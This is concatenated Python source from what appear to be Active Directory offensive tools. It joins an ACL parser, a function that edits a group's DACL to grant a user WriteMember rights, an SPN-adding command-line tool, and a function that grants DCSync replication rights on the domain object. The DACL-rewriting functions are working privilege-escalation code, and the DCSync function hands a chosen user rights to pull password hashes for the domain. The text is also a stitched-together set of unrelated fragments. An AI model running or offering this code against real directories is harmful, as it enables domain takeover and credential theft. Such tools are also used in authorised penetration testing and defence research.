guid_filter: continue attributes = dict() attributes['objectdn'] = security_descriptor.distinguishedname attributes['objectsid'] = security_descriptor.objectsid attributes['acetype'] = ace['TypeName'] attributes['binarysize'] = ace['AceSize'] attributes['aceflags'] = fmt.format_ace_flags(ace['AceFlags']) attributes['accessmask'] = ace['Ace']['Mask']['Mask'] attributes['activedirectoryrights'] = fmt.format_ace_access_mask(ace['Ace']['Mask']['Mask']) attributes['isinherited'] = bool(ace['AceFlags'] & 0x10) attributes['securityidentifier'] = format_sid(ace['Ace']['Sid'].getData()) if sid_resolver: converted_sid = attributes['securityidentifier'] try: resolved_sid = sid_mapping[converted_sid] except KeyError: try: resolved_sid = sid_resolver.get_adobject(queried_sid=converted_sid, queried_domain=self._queried_domain, attributes=['distinguishedname'])[0] resolved_sid = resolved_sid.distinguishedname except IndexError: self._logger.warning('We did not manage to resolve this SID ({}) against the DC'.format(converted_sid)) resolved_sid = attributes['securityidentifier'] finally: sid_mapping[converted_sid] = resolved_sid attributes['securityidentifier'] = resolved_sid try: attributes['objectaceflags'] = fmt.format_object_ace_flags(ace['Ace']['Flags']) except KeyError: pass try: attributes['objectacetype'] = format_uuid_le(ace['Ace']['ObjectType']) if ace['Ace']['ObjectType'] else '{00000000-0000-0000-0000-000000000000}' attributes['objectacetype'] = guid_map[attributes['objectacetype']] except KeyError: pass try: attributes['inheritedobjectacetype'] = format_uuid_le(ace['Ace']['InheritedObjectType']) if ace['Ace']['InheritedObjectType'] else '{00000000-0000-0000-0000-000000000000}' attributes['inheritedobjectacetype'] = guid_map[attributes['inheritedobjectacetype']] except KeyError: pass acl.append(adobj.ACE(attributes)) return acl
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) # Dictionary for restore data restoredata = {} # print_m('Querying group security descriptor') group_sam = get_sam_name(group_bh_name) ldapconnection.search( get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid # We need "write property" here to write to the "member" attribute accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP # this is the GUID of the Member attribute secDesc['Dacl']['Data'].append( create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype)) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Dacl modification successful') # Query the SD again to see what AD made of it ldapconnection.search( dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD) # Save this to restore the SD later on restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True state.push_history('add_addmember_privs', restoredata) return True else: restoredata['success'] = False state.push_history('add_addmember_privs', restoredata) # filter out already exists? raise ExploitException( 'Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result)))
def main(): parser = argparse.ArgumentParser( description='Add an SPN to a user/computer account') parser._optionals.title = "Main options" parser._positionals.title = "Required options" #Main parameters #maingroup = parser.add_argument_group("Main options") parser.add_argument( "host", metavar='HOSTNAME', help="Hostname/ip or ldap://host:port connection string to connect to") parser.add_argument("-u", "--user", metavar='USERNAME', help="DOMAIN\\username for authentication") parser.add_argument( "-p", "--password", metavar='PASSWORD', help="Password or LM:NTLM hash, will prompt if not specified") parser.add_argument( "-t", "--target", metavar='TARGET', help= "Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target)" ) parser.add_argument( "-s", "--spn", required=True, metavar='SPN', help= "servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local)" ) parser.add_argument("-r", "--remove", action='store_true', help="Remove the SPN instead of add it") parser.add_argument( "-q", "--query", action='store_true', help="Show the current target SPNs instead of modifying anything") parser.add_argument( "-a", "--additional", action='store_true', help="Add the SPN via the msDS-AdditionalDnsHostName attribute") args = parser.parse_args() #Prompt for password if not set authentication = None if args.user is not None: authentication = NTLM if not '\\' in args.user: print_f('Username must include a domain, use: DOMAIN\\username') sys.exit(1) if args.password is None: args.password = getpass.getpass() controls = security_descriptor_control(sdflags=0x04) # define the server and the connection s = Server(args.host, get_info=ALL) print_m('Connecting to host...') c = Connection(s, user=args.user, password=args.password, authentication=authentication) print_m('Binding to host') # perform the Bind operation if not c.bind(): print_f('Could not bind with specified credentials') print_f(c.result) sys.exit(1) print_o('Bind OK') if args.target: targetuser = args.target else: targetuser = args.user.split('\\')[1] if '.' in targetuser: search = '(dnsHostName=%s)' % targetuser else: search = '(SAMAccountName=%s)' % targetuser c.search(s.info.other['defaultNamingContext'][0], search, controls=controls, attributes=[ 'SAMAccountName', 'servicePrincipalName', 'dnsHostName', 'msds-additionaldnshostname' ]) try: targetobject = c.entries[0] print_o('Found modification target') except IndexError: print_f('Target not found!') return if args.remove: operation = ldap3.MODIFY_DELETE else: operation = ldap3.MODIFY_ADD if args.query: # If we only want to query it print(targetobject) return if not args.additional: c.modify(targetobject.entry_dn, {'servicePrincipalName': [(operation, [args.spn])]}) else: try: host = args.spn.split('/')[1] except IndexError: # Assume this is the hostname host = args.spn c.modify(targetobject.entry_dn, {'msds-additionaldnshostname': [(operation, [host])]}) if c.result['result'] == 0: print_o('SPN Modified successfully') else: if c.result['result'] == 50: print_f( 'Could not modify object, the server reports insufficient rights: %s' % c.result['message']) elif c.result['result'] == 19: print_f( 'Could not modify object, the server reports a constrained violation' ) if args.additional: print_f( 'You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs ending on the domain FQDN)' ) else: print_f( 'You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)' ) print_f( 'To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute' ) else: print_f('The server returned an error: %s' % c.result['message'])
def add_domain_sync(ldapconnection, state, user_sam, domain_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) # Dictionary for restore data restoredata = {} # print_m('Querying domain security descriptor') ldapconnection.search( get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] # This shouldn't happen but lets be sure just in case if ldap2domain(entry.entry_dn).upper() != domain_name.upper(): raise ExploitException( 'Wrong domain! LDAP returned the domain %s but escalation was requested to %s' % (ldap2domain(entry.entry_dn).upper(), domain_name.upper())) secDescData = entry['nTSecurityDescriptor'].raw_values[0] # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # We need "control access" here for the extended attribute accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype)) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Dacl modification successful') # Query the SD again to see what AD made of it ldapconnection.search( get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True state.push_history('add_domain_sync', restoredata) return True else: restoredata['success'] = False state.push_history('add_domain_sync', restoredata) raise ExploitException('Failed to add DCSync privs to %s: %s' % (userdn, str(ldapconnection.result)))